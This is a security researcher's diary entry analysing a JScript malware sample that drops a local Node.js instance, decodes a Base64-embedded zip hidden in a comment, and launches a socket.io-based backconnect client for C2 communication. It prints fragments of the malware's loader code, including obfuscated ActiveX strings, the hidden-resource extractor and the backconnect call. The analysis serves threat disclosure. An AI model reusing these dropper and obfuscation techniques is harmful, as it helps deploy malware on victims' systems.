Malware Dropping a Local Node.js Instance
Yesterday, I wrote a diary about misused Microsoft tools[1]. I just found another interesting piece of code. This time the malware is using Node.js[2]. The malware is a JScript (SHA256:1007e49218a4c2b6f502e5255535a9efedda9c03a1016bc3ea93e3a7a9cf739c)[3]
First, the malware tries to install a local Node.js instance:
nodeurl = 'https://nodejs.org/dist/latest-v10.x/win-x86/node.exe';
foldername = 'SystemConfigInfo000';
...
try {
if(FileExists(wsh.CurrentDirectory+'\\'+foldername+'\\'+nodename)!=true)
{
nodedwnloaded = false;
for(var i=1;i<=5;i++){
try{
m.open("GET", nodeurl, false);
m.send(null);
if(m.status==200)
{
nodedwnloaded = true;
break;
}
}
catch(e)
{
report('nodedownerr');
WScript.Sleep(5*60*1000);
WScript.Quit(2);
}
}
if(nodedwnloaded)
{
try{
xa=new ActiveXObject('A'+'D'+'O'+'D'+'B'+point+'S'+'t'+'r'+'e'+'a'+'m');
xa.open();
xa.type=1;
xa.write(m.responseBody);
xa.position=0;
xa.saveToFile(wsh.CurrentDirectory+'\\'+foldername+'\\'+nodename, 2);
xa.close();
}
catch(err5){
report('nodesave');
WScript.Sleep(5*60*1000);
WScript.Quit(5);
}
}
else{
report('nodedownload1');
WScript.Sleep(5*60*1000);
WScript.Quit(11);
}
}
}
The Javascript application is part of the original script and is Based64 encode in a comment:
try {
if(FileExists(wsh.CurrentDirectory+'\\'+foldername+'\\app.js')!=true)
{
var arch = DecodeBase64(res2());
if(true)
{
try{
xa=new ActiveXObject('A'+'D'+'O'+'D'+'B'+point+'S'+'t'+'r'+'e'+'a'+'m');
xa.open();
xa.type=1;
xa.write(arch);
xa.position=0;
xa.saveToFile(wsh.CurrentDirectory+'\\'+foldername+'\\'+archname, 2);
xa.close();
}
...
The function res2() extract the chunk of data:
function res2()
{
Function.prototype.GetResource = function (ResourceName)
{
if (!this.Resources)
{
var UnNamedResourceIndex = 0, _this = this;
this.Resources = {};
function f(match, resType, Content)
{
_this.Resources[(resType=="[[")?UnNamedResourceIndex++:resType.slice(1,-1)] = Content;
}
this.toString().replace(/\/\*(\[(?:[^\[]+)?\[)((?:[\r\n]|.)*?)\]\]\*\//gi, f);
}
return this.Resources[ResourceName];
}
/*[arch2[UEsDBBQAAAAAAMSpgk4AAAAAAAAAAAAAAAAeAAAAbm9kZV9tb2R1bGVzL3NvY2tldC5pby1jbGllbnQvUEsDBBQAAAAAAMSpgk4A
AAAAAAAAAAAAAAAiAAAAbm9kZV9tb2R1bGVzL3NvY2tldC5pby1jbGllbnQvbGliL1BLAwQUAAAACACaU9BKccRGp8QCAADPBgAAKgAAAG5vZ
GVfbW9kdWxlcy9zb2NrZXQuaW8tY2xpZW50L2xpYi9pbmRleC5qc4VVTU8bMRC9768YDmUTRHfvRJEqVT1UKqgShx4QUhzvJHHZtRd/QCnkv3
fG3nU2gkIuiWfefL15dor67KyAM7g0TWgRGuxRN6ilQleRvS6KB2Eh2BaWYPE+KIuzsqrJUM4X0dcL69BO3c7IO/
...
Let's decode and have a look at this JavaScript code:
$ file res2.decoded res2.decoded: Zip archive data, at least v2.0 to extract $ unzip res2.decoded Archive: res2.decoded creating: node_modules/socket.io-client/ creating: node_modules/socket.io-client/lib/ inflating: node_modules/socket.io-client/lib/index.js inflating: node_modules/socket.io-client/lib/manager.js inflating: node_modules/socket.io-client/lib/on.js ... creating: node_modules/socket.io-client/node_modules/yeast/ inflating: node_modules/socket.io-client/node_modules/yeast/index.js inflating: node_modules/socket.io-client/node_modules/yeast/LICENSE inflating: node_modules/socket.io-client/node_modules/yeast/package.json inflating: node_modules/socket.io-client/node_modules/yeast/README.md inflating: node_modules/socket.io-client/package.json inflating: node_modules/socket.io-client/README.md inflating: app.js inflating: constants.js inflating: socks4a.js
Basically, this app is launched with an argument (an IP address):
try{
WScript.Sleep(5000);
var res=wsh['R'+'un']('.\\'+nodename+' .\\ap'+'p.js '+addr, 0, true);
report('res='+res);
}
catch(errobj1)
{
report('runerr');
WScript.Sleep(5*60*1000);
WScript.Quit(16);
}
'addr' is a Base64-encoded variable. In the sample that I found, it's an RFC1918 IP.
It first performs an HTTP GET request to http://<ip>/getip/. The result is used to call a backconnect() function:
http.get(url,(res)=>{
let rawData = '';
res.on('data', (chunk) => { rawData += chunk; });
res.on('end', () => {
backconnect('http://'+rawData.toString()+'/');
});
});
The application seems to implement a C2-like communication but I still need to check the code deeper. Why is the IP address a private one? I don't know. Maybe the sample was uploaded to VT during the development? It was developed for a red-teaming exercise?
Besides the Node.js local instance, the script also drops WinDivert.dll and WinDivert32.dll DLL files and inject a shellcode via PowerShell:
[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278/
[2] https://nodejs.org/en/about/
[3] https://www.virustotal.com/gui/file/1007e49218a4c2b6f502e5255535a9efedda9c03a1016bc3ea93e3a7a9cf739c/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
| Reverse-Engineering Malware: Advanced Code Analysis | Online | Greenwich Mean Time | Oct 27th - Oct 31st 2025 |

Comments